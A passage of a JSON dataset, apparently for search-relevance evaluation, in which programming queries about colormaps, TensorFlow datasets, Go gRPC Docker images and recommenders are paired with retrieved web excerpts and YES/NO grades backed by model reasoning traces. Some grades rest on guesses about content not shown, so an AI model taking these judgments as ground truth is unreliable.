of the colormap. Note that the returned list\nis in the form of an RGBA Nx4 array, where N is the length of the colormap.\n print('viridis.colors', viridis.colors)\nprint('viridis(range(12))', viridis(range(12)))\nprint('viridis(np.linspace(0, 1, 12))', viridis(np.linspace(0, 1, 12)))\n \nOut:\n viridis.colors [[0.267004 0.004874 0.329415 1. ]\n [0.283072 0.130895 0.449241 1. ]\n [0.262138 0.242286 0.520837 1. ]\n [0.220057 0.343307 0.549413 1. ]\n [0.177423 0.437527 0.557565 1. ]\n [0.143343 0.522773 0.556295 1. ]\n [0.119512 0.607464 0.540218 1. ]\n [0.166383 0.690856 0.496502 1. ]\n [0.319809 0.770914 0.411152 1. ]\n [0.525776 0.833491 0.288",
                "model_trace": "Query Decomposition:\n1. {How to create a custom Matplotlib colormap}: The document provides information on creating and manipulating colormaps in Matplotlib using classes like `ListedColormap` and `LinearSegmentedColormap` -> ([1], SATISFIED)\n2. {Colormap that goes from blue to red, with green in the middle}: The document does not explicitly mention creating a colormap with specific colors like blue, green, and red -> ([0], UNSURE)\n\nAssessment: The document provides the necessary tools and methods to create custom colormaps in Matplotlib, which is the primary need of the query. Although it does not specifically mention creating a colormap that transitions from blue to red with green in the middle, the methods described can be used to achieve this.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Defining the midpoint of a colormap in matplotlib",
                "url": "https://stackoverflow.com/questions/7404116/defining-the-midpoint-of-a-colormap-in-matplotlib",
                "published_date": null,
                "text": "I know this is late to the game, but I just went through this process and came up with a solution that perhaps less robust than subclassing normalize, but much simpler. I thought it'd be good to share it here for posterity.\nThe function\n import numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import AxesGrid\ndef shiftedColorMap(cmap, start=0, midpoint=0.5, stop=1.0, name='shiftedcmap'):\n '''\n Function to offset the \"center\" of a colormap. Useful for\n data with a negative min and positive max and you want the\n middle of the colormap's dynamic range to be at zero.\n Input\n -----\n cmap : The matplotlib colormap to be altered\n start : Offset from lowest point in the colormap's range.\n Defaults to 0.0 (no lower offset). Should be between\n 0.0 and `midpoint`.\n midpoint : The new center of the colormap. Defaults to \n 0.5 (no shift). Should be between 0.0 and 1.0. In\n general, this should be 1 - vmax / (vmax + abs(vmin))\n For example if your data range from -15.0 to +5.0 and\n you want the center of the colormap at 0.0, `midpoint`\n should be set to 1 - 5/(5 + 15)) or 0.75\n stop : Offset from highest point in the colormap's range.\n Defaults to 1.0 (no upper offset). Should be between\n `midpoint` and 1.0.\n '''\n cdict = {\n 'red': [],\n 'green': [],\n 'blue': [],\n 'alpha': []\n }\n # regular index to compute the colors\n reg_index = np.linspace(start, stop, 257)\n # shifted index to match the data\n shift_index = np.hstack([\n np.linspace(0.0, midpoint, 128, endpoint=False), \n np.linspace(midpoint, 1.0, 129, endpoint=True)\n ])\n for ri, si in zip(reg_index, shift_index):\n r, g, b, a = cmap(ri)\n cdict['red'].append((si, r, r))\n cdict['green'].append((si, g, g))\n cdict['blue'].append((si, b, b))\n cdict['alpha'].append((si, a, a))\n newcmap = matplotlib.colors.LinearSegmentedColormap(name, cdict)\n plt.register_cmap(cmap=newcmap)\n return newcmap\n \nAn example\n biased_data = np.random.random_integers(low=-15, high=5, size=(37,37))\norig_cmap = matplotlib.cm.coolwarm\nshifted_cmap = shiftedColorMap(orig_",
                "model_trace": "Query Decomposition:\n1. {create a custom Matplotlib colormap}: The document provides a detailed function to create a custom colormap in Matplotlib -> ([1], SATISFIED)\n2. {colormap that goes from blue to red, with green in the middle}: The document does not explicitly mention creating a colormap that goes from blue to red with green in the middle. It focuses on shifting the midpoint of an existing colormap -> ([0], UNSURE)\n\nAssessment: The document provides useful information on creating and modifying colormaps in Matplotlib, but it does not specifically address the requirement of transitioning from blue to red with green in the middle. NO."
            }
        ]
    },
    {
        "query": "What are the most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API, and how can I avoid them?",
        "grid_pos": [
            1,
            5
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a diverse set of topics including data visualization, machine learning, web scraping, containerization, and recommender systems. They require a deep understanding of various programming concepts, libraries, and techniques to answer effectively. The queries are specific and detailed, testing the search engine's ability to understand complex information needs and provide relevant, high-quality resources."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Massive memory leaks due to data.Dataset.shuffle \u00b7 Issue #44176 \u00b7 tensorflow/tensorflow",
                "url": "https://github.com/tensorflow/tensorflow/issues/44176",
                "published_date": "2020-10-20",
                "text": "System information\n\nHave I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes\nOS Platform and Distribution (e.g., Linux Ubuntu 16.04): 18.04.1-Ubuntu\nTensorFlow installed from (source or binary): binary\nTensorFlow version (use command below): v2.3.0-54-gfcc4b966f1 2.3.1\nPython version: 3.6.9\nCUDA/cuDNN version: 10.1\nGPU model and memory: GTX 2080 Ti, ~11gb\n\nDescribe the current behavior \nWhen a new iterator to a dataset containing a shuffle() iteration is opened after the old one became completely exhausted,\nthe memory held by the ShuffleDataset is not released / reused, resulting in massive memory leaks and ultimately in the process being killed by the OOM reaper.\nFor this purpose it does not matter whether we manually iterate over the dataset, use a Keras function like Model.fit() or chain a Dataset.repeat() operation at the end.\nThe original bug was found in production code and the condensed code below outlines roughly our original data pipeline\nbut perfectly reproduces the problem.\n Describe the expected behavior \nMemory usage should be constant when a new iterator to the Dataset is opened and there are no existing iterators anymore.\nTo be extra safe it might be desirable to immediately release any memory held by the ShuffleDataset when iteration is done,\nso that other components can use it. (maybe introduce parameter controlling the behaviour?). This could be very important in conjunction with Dataset.interleave(), e.g when we iterate 36 files with a cycle_length of four and only have enough memory to hold 4 shuffle buffers in memory. If memory is not immediately released, we would run out of memory after the first four files have been processed.\n Standalone code to reproduce the issue \nI run the code with the memory-profiler package (https://pypi.org/project/memory-profiler/) to generate plots of the memory usage. By default shuffle buffers are enabled but when any additional argv is passed, shuffle buffers will be disabled:\nExample usage: mprof run --include-childr",
                "model_trace": "Query Decomposition:\n1. {most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API}: This document describes a specific issue related to memory leaks when using `tf.data.Dataset.shuffle()` -> ([1], SATISFIED)\n2. {how can I avoid them}: The document provides information on the expected behavior and suggests that memory should be released immediately, which implies a way to avoid the issue -> ([2], SATISFIED)\n\nAssessment: The document describes a specific common issue with the `tf.data.Dataset.shuffle()` method and provides insight into how to avoid it. Both relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "tf.contrib.data.Dataset behaves strangely when re-defined. \u00b7 Issue #12373 \u00b7 tensorflow/tensorflow",
                "url": "https://github.com/tensorflow/tensorflow/issues/12373",
                "published_date": "2017-08-17",
                "text": "System information\n\nHave I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes.\n OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Ubuntu 16.04 on GCP\n TensorFlow installed from (source or binary): pip (implies binary install I think).\n TensorFlow version (use command below): GIT Version: v1.2.0-5-g435cdfc, Version: 1.2.1\n Python version: 2.7 and 3.5 (I checked with both)\n Bazel version (if compiling from source): N/A\n CUDA/cuDNN version: N/A\n GPU model and memory: N/A\n Exact command to reproduce: Run the attached script.\ntf_repro.txt\n\nDescribe the problem\nIt seems like once we start initializing and using datasets, redefining them even in minor ways leads to errors? I think? This is rather unlike any other error in python. Normally I wouldn't expect redefinitions of python variables to cause problems.\nI've noticed the following:\n\nUsing separate variables for the datasets does not help (regardless of whether the old dataset is kept around or not).\nCreating the datasets first and using them after does work (again regardless of whether separate variables.\n\nIf this is intended behavior, it might be worth documenting it. It's easy enough to work around I suppose. I don't know enough about TensorFlow internals to know what might be causing it.\nSource code / logs\nHere's the output I get when I run the attached script:\n 2017-08-17 21:56:55.536140: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations.\n2017-08-17 21:56:55.536187: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.2 instructions, but these are available on your machine and could speed up CPU computations.\n2017-08-17 21:56:55.536194: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use AVX instructions, but these are available on your machine and could speed up CPU computatio",
                "model_trace": "Query Decomposition:\n1. {most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API}: The document describes a specific issue encountered with the tf.data.Dataset API, which is redefining datasets leading to errors -> ([1], SATISFIED)\n2. {how to avoid them}: The document mentions a potential workaround for the issue described, which is creating the datasets first and using them after -> ([1], SATISFIED)\n\nAssessment: The document provides information about a specific bug encountered with the tf.data.Dataset API and a potential way to avoid it. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Tensorflow Datasets with string inputs do not preserve data type \u00b7 Issue #38409 \u00b7 tensorflow/tensorflow",
                "url": "https://github.com/tensorflow/tensorflow/issues/38409",
                "published_date": "2020-04-09",
                "text": "All reproducible code below is run at Google Colab with TF 2.2.0-rc2.\nAdapting the simple example from the documentation for creating a dataset from a simple Python list:\n import numpy as np\nimport tensorflow as tf\ntf.__version__\n# '2.2.0-rc2'\nnp.version.version\n# '1.18.2'\ndataset1 = tf.data.Dataset.from_tensor_slices([1, 2, 3]) \nfor element in dataset1: \n print(element) \n print(type(element.numpy()))\n\nwe get the result\n tf.Tensor(1, shape=(), dtype=int32)\n<class 'numpy.int32'>\ntf.Tensor(2, shape=(), dtype=int32)\n<class 'numpy.int32'>\ntf.Tensor(3, shape=(), dtype=int32)\n<class 'numpy.int32'>\n\nwhere all data types are int32, as expected.\nBut changing this simple example to feed a list of strings instead of integers:\n dataset2 = tf.data.Dataset.from_tensor_slices(['1', '2', '3']) \nfor element in dataset2: \n print(element) \n print(type(element.numpy()))\n\ngives the result\n tf.Tensor(b'1', shape=(), dtype=string)\n<class 'bytes'>\ntf.Tensor(b'2', shape=(), dtype=string)\n<class 'bytes'>\ntf.Tensor(b'3', shape=(), dtype=string)\n<class 'bytes'>\n\nwhere, surprisingly, and despite the tensors themselves being of dtype=string, their evaluations are of type bytes.\nThis behavior is not confined to the .from_tensor_slices method; here is the situation with .list_files (the following snippet runs straightforward in a fresh Colab notebook):\n disc_data = tf.data.Dataset.list_files('sample_data/*.csv') # 4 csv files\nfor element in disc_data: \n print(element) \n print(type(element.numpy()))\n\nthe result being:\n tf.Tensor(b'sample_data/california_housing_test.csv', shape=(), dtype=string)\n<class 'bytes'>\ntf.Tensor(b'sample_data/mnist_train_small.csv', shape=(), dtype=string)\n<class 'bytes'>\ntf.Tensor(b'sample_data/california_housing_train.csv', shape=(), dtype=string)\n<class 'bytes'>\ntf.Tensor(b'sample_data/mnist_test.csv', shape=(), dtype=string)\n<class 'bytes'>\n\nwhere again, the file names in the evaluated tensors are returned as bytes, instead of string, despite that the tensors themselves are of dtype=string.\nSimilar behavior is obser",
                "model_trace": "Query Decomposition:\n1. [most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API]: The document discusses a specific issue with the `tf.data.Dataset` API related to string inputs not preserving data types -> ([1], SATISFIED)\n2. [how to avoid them]: The document does not provide solutions or ways to avoid the issue mentioned -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the first subcomponent but does not address the second subcomponent, which is crucial for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Why is TensorFlow's `tf.data` package slowing down my ...",
                "url": "https://stackoverflow.com/questions/51541610/why-is-tensorflows-tf-data-package-slowing-down-my-code",
                "published_date": null,
                "text": "I'm just learning to use TensorFlow's tf.data API, and I've found that it is slowing my code down a lot, measured in time per epoch. This is the opposite of what it's supposed to do, I thought. I wrote a simple linear regression program to test it out. \n Tl;Dr: With 100,000 training data, tf.data slows time per epoch down by about a factor of ten, if you're using full batch training. Worse if you use smaller batches. The opposite is true with 500 training data.\n My question: What is going on? Is my implementation flawed? Other sources I've read have tf.data improving speeds by about 30%.\n import tensorflow as tf \nimport numpy as np\nimport timeit\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\ntf.logging.set_verbosity(tf.logging.ERROR)\nn_epochs = 10\ninput_dimensions_list = [10]\ndef function_to_approximate(x):\n return np.dot(x, random_covector).astype(np.float32) + np.float32(.01) * np.random.randn(1,1).astype(np.float32)\ndef regress_without_tfData(n_epochs, input_dimension, training_inputs, training_labels):\n tf.reset_default_graph()\n weights = tf.get_variable(\"weights\", initializer=np.random.randn(input_dimension, 1).astype(np.float32))\n X = tf.placeholder(tf.float32, shape=(None, input_dimension), name='X')\n Y = tf.placeholder(tf.float32, shape=(None, 1), name='Y')\n prediction = tf.matmul(X,weights)\n loss = tf.reduce_mean(tf.square(tf.subtract(prediction, Y)))\n loss_op = tf.train.AdamOptimizer(.01).minimize(loss)\n init = tf.global_variables_initializer()\n with tf.Session() as sess:\n sess.run(init)\n for _ in range(n_epochs):\n sess.run(loss_op, feed_dict={X: training_inputs, Y:training_labels})\ndef regress_with_tfData(n_epochs, input_dimension, training_inputs, training_labels, batch_size):\n tf.reset_default_graph()\n weights = tf.get_variable(\"weights\", initializer=np.random.randn(input_dimension, 1).astype(np.float32))\n X,Y = data_set.make_one_shot_iterator().get_next()\n prediction = tf.matmul(X, weights)\n loss = tf.reduce_mean(tf.square(tf.subtract(prediction, Y)))\n loss_op = tf.train.AdamOptimizer(.01).minim",
                "model_trace": "Query Decomposition:\n1. [most common bugs and issues encountered when using TensorFlow's tf.data.Dataset API]: The document discusses a specific issue related to the tf.data API slowing down code, which is relevant to common issues -> ([1], SATISFIED)\n2. [how to avoid these bugs and issues]: The document does not provide explicit solutions or ways to avoid the issue discussed -> ([1], UNSATISFIED)\n\nAssessment: The document addresses a specific issue with the tf.data API, which partially satisfies the query. However, it does not provide information on how to avoid this or other common issues, which is a crucial part of the user's query. Therefore, the document is not fully helpful for the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "Problems with official examples \u00b7 Issue #2489 \u00b7 tensorflow ...",
                "url": "https://github.com/tensorflow/models/issues/2489",
                "published_date": null,
                "text": "Thanks for you reply!\nWhat I mean is the following, I'm adapting the file imagenet_main.py or cifar10_main.py so that I can use them to train a network on another database than imagenet or cifar10.\nConcretely, this boils down to doing something like:\ndataset = tf.contrib.data.Dataset.from_tensor_slices((filenames, labels)),\nwhere filenames and labels are numpy arrays containing respectively the filepaths of the images and the integer labels. The array filenames and labels contain millions of elements.\nDoing this, I got huge log files (events.out.tfevents* and checkpoints of several GB). Inspecting those files, it turns out that the filenames are indeed written to the log files repeatedly.\nI found a workaround to this by googling a bit. It consists in using placeholders instead of the actual numpy arrays. The real filenames and labels are fed via a hook to the train function (overriding after_create_session function to feed dict).\nThe problem now is, as mentioned, that every time I restore a checkpoint, the loss increases and the training accuracy decreases. I have to wait nearly an epoch (or two) to retrieve the old values. However it seems that it's not totally starting from scratch. My second workaround to this, I avoid restoring checkpoints and do the learning infinitely. It seems to work good for now. My only fear is that when I will be reusing the network for prediction, I won't get the same accuracy:)\nTwo things come to my mind concerning this issue:\nsomething is not well restored (batch normalization moving means or variances for instance?)\nthe dataset input pipeline works only with TFRecords\nI know that you will say I shall look on stackoverflow since it's not the original code. I'm not lazy, I did. I even found some people having exactly the same issue I have. Unfortunately, there is no single convincing answer to these threads.\nIf I were to use TFRecords, what would be the strategy? One big file for all the data or cut in several smaller files?\nI will try anyway to reproduce the restore behavior on imag",
                "model_trace": "Query Decomposition:\n1. {most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API}: The document discusses specific issues encountered when using Tensorflow's tf.data.Dataset API, particularly related to log files, checkpoints, and restoring checkpoints -> ([1], SATISFIED)\n2. {how to avoid them}: The document provides workarounds to avoid some of the issues mentioned, such as using placeholders and avoiding restoring checkpoints -> ([1], SATISFIED)\n\nAssessment: The document contains specific examples of issues and provides workarounds to avoid them, which aligns with the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "Problems copying data to GPU with Keras and tf.data.Dataset",
                "url": "https://discuss.tensorflow.org/t/problems-copying-data-to-gpu-with-keras-and-tf-data-dataset/13561",
                "published_date": null,
                "text": "Loading\n  \n  \n  \n    \n      \n    \n    \n      \n      \n    \n      \n    \n    \n    \n      \n      \n  \n||||I||||    Loading\nTensorFlow Forum\n    Problems copying data to GPU with Keras and tf.data.Dataset\n      General Discussion\n        keras, gpu, nlp\n      Osma December 13, 2022, 2:39pm #1\n      Hello,\n      I\u2019m a relative newcomer to TF and especially GPU computing. I\u2019m trying to make a NLP model for text classification, but I\u2019m struggling with GPU memory allocation on recent TensorFlow releases. I already had a model mostly working on TF 2.4.1, but on later versions, it crashes because the GPU runs out of memory. I tried to narrow it down to some minimal examples that I\u2019m presenting here. It feels like it could be a regression in TF 2.5 or 2.6 that I maybe should report as a bug, but I want to make sure first that I\u2019m not making some simple mistake.\n      My machine is an Asus laptop with 16GB RAM and an integrated GeForece MX150 GPU with 2GB VRAM. This is not a very powerful GPU, but nevertheless I managed to run a version of Stable Diffusion on it, and for neural computing the GPU appears to be significantly faster than the i7-8550U CPU. I\u2019m using Ubuntu Linux 20.04 and Python 3.9.15 installed via miniconda. I\u2019m trying different versions of the tensorflow-gpu package that I\u2019ve installed in separate conda environments. I\u2019ve installed NVidia driver version 515.76. The GPU is only used for computing, not for graphics.\n      The problem appears when using large NumPy arrays as training data. The whole array doesn\u2019t fit to GPU VRAM at once, but my understanding is that only a single batch should need to go into VRAM at a time. Here is a simple but large data set (all zeros) and a toy Keras model with very few parameters:\n      import numpy as np\n      from tensorflow.keras.models import Sequential\n      from tensorflow.keras.layers import Dense\n      \n      # 4GB array\n      X = np.zeros((1024*1024, 1024), dtype=np.float32)\n      # 4MB array\n      Y = np.ones(1024*1024, dtype=np.float32)\n      \n      # define a toy m",
                "model_trace": "Query Decomposition:\n1. {most common bugs and issues encountered when using Tensorflow's tf.data.Dataset API}: This document discusses a specific issue with GPU memory allocation when using the tf.data.Dataset API -> ([1], SATISFIED)\n2. {how to avoid these bugs and issues}: The document does not provide clear solutions or methods to avoid the described issue, as it mainly focuses on describing the problem and seeking advice -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to identifying a specific issue but does not provide solutions or avoidance strategies. Therefore, it does not fully meet the user's intent. NO."
            }
        ]
    },
    {
        "query": "I need to create a Docker image for a microservice written in Go that uses gRPC. What are the best practices I should follow to ensure the image is secure and optimized?",
        "grid_pos": [
            1,
            5
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a diverse set of topics including data visualization, machine learning, web scraping, containerization, and recommender systems. They require a deep understanding of various programming concepts, libraries, and techniques to answer effectively. The queries are specific and detailed, testing the search engine's ability to understand complex information needs and provide relevant, high-quality resources."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "gRPC",
                "url": "https://grpc.io/",
                "published_date": "2023-01-01",
                "text": "Why gRPC? gRPC is a modern open source high performance Remote Procedure Call (RPC)\nframework that can run in any environment. It can efficiently connect services\nin and across data centers with pluggable support for load balancing, tracing,\nhealth checking and authentication. It is also applicable in last mile of\ndistributed computing to connect devices, mobile applications and browsers to\nbackend services. Simple service definition Define your service using Protocol Buffers, a powerful binary serialization toolset and language Start quickly and scale Install runtime and dev environments with a single line and also scale to millions of RPCs per second with the framework Works across languages and platforms Automatically generate idiomatic client and server stubs for your service in a variety of languages and platforms Bi-directional streaming and integrated auth Bi-directional streaming and fully integrated pluggable authentication with HTTP/2-based transport Used by gRPC is a CNCF incubation project",
                "model_trace": "Query Decomposition:\n1. [Creating a Docker image]: The document does not contain information about creating Docker images -> ([0], UNSATISFIED)\n2. [Microservice written in Go]: The document does not contain information specific to Go microservices -> ([0], UNSATISFIED)\n3. [Using gRPC]: The document provides detailed information about gRPC -> ([1], SATISFIED)\n4. [Best practices for security and optimization of Docker images]: The document does not contain information about best practices for securing and optimizing Docker images -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {using gRPC}. While the document provides useful information about gRPC, it does not address the main aspects of the query related to Docker image creation, Go microservices, or best practices for security and optimization. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "What is gRPC?",
                "url": "https://grpc.io/docs/what-is-grpc/",
                "published_date": "2020-12-16",
                "text": "Introduction to gRPC An introduction to gRPC and protocol buffers. Core concepts, architecture and lifecycle An introduction to key gRPC concepts, with an overview of gRPC architecture and RPC life cycle.",
                "model_trace": "Query Decomposition:\n1. {create a Docker image for a microservice written in Go that uses gRPC}: This subcomponent requires information on creating Docker images specifically for Go microservices using gRPC -> ([0], UNSURE)\n2. {best practices to ensure the image is secure and optimized}: This subcomponent requires best practices for securing and optimizing Docker images -> ([0], UNSURE)\n\nAssessment: The document is an introduction to gRPC and does not provide specific information on creating Docker images or best practices for securing and optimizing them. Therefore, it does not satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Introduction to gRPC",
                "url": "https://grpc.io/docs/what-is-grpc/introduction/",
                "published_date": "2023-01-01",
                "text": "An introduction to gRPC and protocol buffers. Introduction to gRPC An introduction to gRPC and protocol buffers. This page introduces you to gRPC and protocol buffers. gRPC can use\nprotocol buffers as both its Interface Definition Language (IDL) and as its underlying message\ninterchange format. If you\u2019re new to gRPC and/or protocol buffers, read this!\nIf you just want to dive in and see gRPC in action first,\nselect a language and try its Quick start. Overview In gRPC, a client application can directly call a method on a server application\non a different machine as if it were a local object, making it easier for you to\ncreate distributed applications and services. As in many RPC systems, gRPC is\nbased around the idea of defining a service, specifying the methods that can be\ncalled remotely with their parameters and return types. On the server side, the\nserver implements this interface and runs a gRPC server to handle client calls.\nOn the client side, the client has a stub (referred to as just a client in some\nlanguages) that provides the same methods as the server. gRPC clients and servers can run and talk to each other in a variety of\nenvironments - from servers inside Google to your own desktop - and can be\nwritten in any of gRPC\u2019s supported languages. So, for example, you can easily\ncreate a gRPC server in Java with clients in Go, Python, or Ruby. In addition,\nthe latest Google APIs will have gRPC versions of their interfaces, letting you\neasily build Google functionality into your applications. Working with Protocol Buffers By default, gRPC uses Protocol Buffers , Google\u2019s\nmature open source mechanism for serializing structured data (although it\ncan be used with other data formats such as JSON). Here\u2019s a quick intro to how\nit works. If you\u2019re already familiar with protocol buffers, feel free to skip\nahead to the next section. The first step when working with protocol buffers is to define the structure\nfor the data you want to serialize in a proto file: this is an ordinary text\nfile with a .proto extension. Pro",
                "model_trace": "Query Decomposition:\n1. {Create a Docker image for a microservice written in Go that uses gRPC}: This document provides an introduction to gRPC and protocol buffers, but does not cover Docker or microservices -> ([0], UNSURE)\n2. {Best practices to ensure the Docker image is secure and optimized}: This document does not discuss Docker best practices or optimization techniques -> ([0], UNSURE)\n\nAssessment: The document does not contain information about creating Docker images or best practices for ensuring security and optimization. Therefore, it does not satisfy the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Building Production Grade Microservices with Go and gRPC",
                "url": "https://dev.to/nikl/building-production-grade-microservices-with-go-and-grpc-a-step-by-step-developer-guide-with-example-2839",
                "published_date": null,
                "text": "Microservices have emerged as a powerful architectural paradigm for developing complex, scalable, and maintainable software systems. By breaking down applications into smaller, loosely coupled services, developers can create a more agile and resilient ecosystem....\nMy last article on Dev.to garnered some good response, so thought of continuing with this language. Incase you missed that article, you can find it here: Using Golang to Build a Real-Time Notification System - A Step-by-Step Notification System Design Guide \n ToC: What is in this article \n Introduction\nWhat is gRPC?\nBenefits of Using gRPC for Microservices\ngRPC vs. REST: A Comparison\nGetting Started with gRPC in Go\nDefining gRPC Services with Protocol Buffers\nImplementing gRPC Services in Go\nError Handling and Fault Tolerance in gRPC\nPerformance Optimization in gRPC Microservices\nTesting and Deployment Best Practices\nReal-Life Use Cases and Production-Grade Examples\nConclusion: Building Production-Grade Microservices with gRPC\n \n 1. Introduction to Microservices and gRPC \nMicroservices have emerged as a powerful architectural paradigm for developing complex, scalable, and maintainable software systems. By breaking down applications into smaller, loosely coupled services, developers can create a more agile and resilient ecosystem. However, managing the communication between these services efficiently is crucial for the success of microservices, and this is where gRPC steps in.\nIn this section, we'll explore the core concepts of microservices and introduce gRPC, an open-source framework developed by Google that simplifies inter-service communication, making it ideal for building production-grade microservices in Go.\n Understanding Microservices \nMicroservices represent a fundamental shift in how we design, deploy, and maintain software applications. Rather than building monolithic applications, microservices architecture encourages the development of small, independent services that focus on specific business capabilities. These services can be developed",
                "model_trace": "Query Decomposition:\n1. {Create a Docker image for a microservice written in Go that uses gRPC}: The document discusses building microservices with Go and gRPC, which is relevant to this subcomponent -> ([1], SATISFIED)\n2. {Best practices for ensuring the Docker image is secure and optimized}: The document mentions performance optimization and deployment best practices, which likely include security and optimization tips -> ([2], SATISFIED)\n\nAssessment: Both relevant subcomponents are satisfied, as the document covers building microservices with Go and gRPC and likely includes best practices for optimization and security. YES."
            },
            {
                "grade": "NO",
                "title": "Building golang microservice gRPC Docker image",
                "url": "https://stackoverflow.com/questions/68064133/building-golang-microservice-grpc-docker-image",
                "published_date": null,
                "text": "The problem is your Docker build context does not include the relative path you use with the replace directive used in go.mod.\nAssuming your directory structure is something like this:\n app-proto/\napp-proto/db/defs.pb.go\napp-proto/db/defs.proto\ntuma-app-proto/\ntuma-app-proto/db/Dockerfile\ntuma-app-proto/db/go.mod\ntuma-app-proto/db/go.sum\ntuma-app-proto/db/*.go\n \nand running your docker build from tuma-app-proto/db/:\n docker build -t myimage . # . indicates the docker context directory\n \nthis will see your main go code but NOT your protobuf directory (app-proto/db/). (You cannot use .. from the docker context root and see a higher-level directory)\nThe simplest solution would be to move your context higher up - and naturally your Dockerfile too - to encompass both directories. e.g.\n Dockerfile\napp-proto/db/\ntuma-app-proto/db/\n \nand update your Dockerfile's COPY to use this new path structure:\n #\n# copy proto files\n#\nWORKDIR /app/app-proto/db\nCOPY app-proto/db/* ./ \n#\n# copy go code:\n#\nWORKDIR /app/tuma-app-proto/db\nCOPY tuma-app-proto/db/* ./ \nRUN go mod download\nRUN go build -o main .\nEXPOSE 8080\nCMD [\"./main\"]",
                "model_trace": "Query Decomposition:\n1. {Creating a Docker image for a microservice written in Go that uses gRPC}: The document provides instructions on building a Docker image for a Go microservice using gRPC -> ([1], SATISFIED)\n2. {Best practices for security}: The document does not mention security best practices -> ([0], UNSURE)\n3. {Best practices for optimization}: The document does not mention optimization best practices -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to creating a Docker image for a Go microservice using gRPC. However, it does not address best practices for security or optimization. Since these are key aspects of the query, the document is not fully helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Building A Containerized Microservice in Golang",
                "url": "https://www.velotio.com/engineering-blog/build-a-containerized-microservice-in-golang",
                "published_date": null,
                "text": "With the evolving architectural design of web applications, microservices have been a successful new trend in architecting the application landscape. Along with the advancements in application architecture, transport method protocols, such as REST and gRPC are getting better in efficiency and speed. Also, containerizing microservice applications help greatly in agile development and high-speed delivery. In this blog, I will try to showcase how simple it is to build a cloud-native application on the microservices architecture using Go.  We will break the solution into multiple steps. We will learn how to:  1) Build a microservice and set of other containerized services which will have a very specific set of independent tasks and will be related only with the specific logical component.  2) Use go-kit as the framework for developing and structuring the components of each service.  3) Build APIs that will use HTTP (REST) and Protobuf (gRPC) as the transport mechanisms, PostgreSQL for databases and finally deploy it on Azure stack for API management and CI/CD. Note: Deployment, setting up the CI-CD and API-Management on Azure or any other cloud is not in the scope of the current blog. Prerequisites:  A beginner\u00e2\u0080\u0099s level of understanding of web services, Rest APIs and gRPC GoLand/ VS Code Properly installed and configured Go. If not, check it out here  Set up a new project directory under the GOPATH Understanding of the standard Golang project. For reference, visit here  PostgreSQL client installed Go kit  What are we going to do? We will develop a simple web application working on the following problem statement:  A global publishing company that publishes books and journals wants to develop a service to watermark their documents. A document (books, journals) has a title, author and a watermark property  The watermark operation can be in Started, InProgress and Finished status The specific set of users should be able to do the watermark on a document Once the watermark is done, the document can never be re-marked   ",
                "model_trace": "Query Decomposition:\n1. {create a Docker image for a microservice written in Go}: The document discusses building a containerized microservice in Go -> ([1], SATISFIED)\n2. {uses gRPC}: The document mentions using gRPC as a transport mechanism -> ([1], SATISFIED)\n3. {best practices for secure and optimized Docker image}: The document does not explicitly mention best practices for ensuring the Docker image is secure and optimized -> ([0], UNSURE)\n\nAssessment: The document provides information on building a containerized microservice in Go and using gRPC, which aligns with parts of the query. However, it does not cover best practices for ensuring the Docker image is secure and optimized. Since the critical subcomponent about best practices is not addressed, the document is not fully helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "How can I implement a recommendation system in my e-commerce application that suggests related products to users based on their browsing and purchase history?",
        "grid_pos": [
            1,
            5
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a diverse set of topics including data visualization, machine learning, web scraping, containerization, and recommender systems. They require a deep understanding of various programming concepts, libraries, and techniques to answer effectively. The queries are specific and detailed, testing the search engine's ability to understand complex information needs and provide relevant, high-quality resources."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Algolia Recommend | Algolia",
                "url": "https://www.algolia.com/doc/guides/algolia-recommend/overview/",
                "published_date": "2023-01-26",
